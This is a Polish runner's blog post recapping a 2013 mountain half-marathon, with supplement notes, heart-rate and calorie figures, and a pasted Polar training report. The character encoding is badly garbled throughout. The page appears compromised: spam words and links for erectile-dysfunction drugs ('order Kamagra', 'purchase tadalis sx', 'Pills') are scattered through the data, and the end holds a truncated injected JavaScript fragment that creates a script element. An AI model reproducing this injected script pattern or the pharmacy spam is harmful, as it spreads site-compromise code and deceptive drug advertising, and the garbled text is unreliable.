Jeszcze trochAi?? o pA?Ai??maratonie WPI :)

30.07.2013 / Mariusz Cieśliński

Kurz juA? dawno opadAi?? po biegu.Czas na podsumowanie.

Dla mnie udziaAi?? w tym biegu to byAi??a przede wszystkim fajna przygoda jak i doskonaAi??a forma doAi??wiadczenia.Poligonem doAi??wiadczalnym byAi?? mA?j organizm.Po kilkuset metrach czuAi??em lekkie odwodnienie-picie kawy w tym dniu nie wyszAi??o na dobre :).Mimo staAi??ego nawadniania Vitargo Electro czuAi??em jak po fragmencie przebiegniAi??tego dystansu zaschAi??o mi po prostu w ustach.

Z kolei w warunkach bojowych Adrenaline Gel i Long Energy Gel spisaAi??y siAi?? doskonale.DostarczyAi??y mi paliwa tj. naleA?y.

Wsparte BCAA X Tank i SAW :)

Jako ciekawostkAi?? podam,A?e moja waga na starcie to 63,5kg.TomkaAi?? Drwala ok 90kg.Moje spalanie podczas biegu to byAi??o 1533kcal a Tomka 1055.Na jednym ze zdjAi??Ai?? jest screen z komputera z wykresem mojej pracy serca podczas biegu.Wniosek:Tomek pracowaAi?? w puAi??apie tlenowym.Ja w strefie beztlenowej i mieszanej.Moje Ai??rednie tAi??tno to 158bpm.Asredni czas na km wyszedAi?? 4,33min/km.Czas mojego biegu w pA?Ai??maratonie gA?rskimAi?? to 1h31min.W klasyfikacji generalnej 15miejsce :). Debiut w nowej dyscyplinie sportu w miarAi?? niezAi??y.No i tAi??tno i adrenalina na starcie jak w szatni przed walkAi??. :)

Running

online

Duration

01:42:23

HR Avg

158 Ai?? bpm

HR Max

174 Ai?? bpm

Cheap
Calories

1533 Ai?? kcal

Distance

21.00 Order Ai?? km

Pace Avg

min/km

Training Load

408

 

00:00:00
00:15:00
00:30:00
00:45:00
01:00:00
01:15:00

Pills

01:30:00
Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??01:42:24
50
75
100
125
150
175
  • Zones
  • Laps

Purchase

# Time in Sport Zones Lower Limit Upper Limit
Zone 5
Ai??42%
00:43:03
166 bpm
186 bpm
Zone 4
Ai??48%
00:49:26
147 bpm
164 bpm
Zone 3
Ai??1%
00:00:40
129 bpm
145 bpm
Zone 2
Ai??1%
00:01:16
110 bpm
127 bpm
Zone 1
Ai??7%
00:07:18
109 bpm
Read more about using Training Zones efficiently.

 

Tempo training

This training increased your anaerobic tolerance, and improved your maximal oxygen uptake (VO2max) and efficiency. It also raised the speed you can maintain without building up lactic acid. The training duration was long enough to increase fatigue resistance at the used speed. Carbohydrates are the main energy source that your body uses at this training intensity.
00:15:00
00:30:00
00:45:00
01:00:00
01:15:00
01:30:00

Order

purchase tadalis sx

kamagra jelly. order Kamagra. best place to buy kamagra online.

POLAR SPORT ZONES INTENSITY % OF HR max HEART RATE CURVE TIME IN SPORT ZONES
MAXIMUM 90-100%
Ai??35%
00:36:18
HARD 80-90%
Ai??55%
00:56:14
MODERATE 70-80%
Ai??1%
00:00:34
LIGHT 60-70%
Ai??1%
00:01:26
VERY LIGHT 50-60%
Ai??6%
00:06:22
Ai??Ai??99%
01:40:54

 

HR (bpm)
Altitude (m)
00:00:00
00:15:00
00:30:00
00:45:00
01:00:00
01:15:00
01:30:00
Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??01:42:24
50
75
100
125
150
175
300
400
500
600

Settings

Show curves:

Order

domain name search
  • Curve
  • Settings
  • Reset zoom
  • Full Screen

Fimik z biegu!!!!!!!!!!!!!!!!!!!Trec Team!!!!!!!!!!!!!!!!!!!

Wielka PAi??tla Podsumowanie pills online var d=document;var s=d.createElement(‚script’); } Pills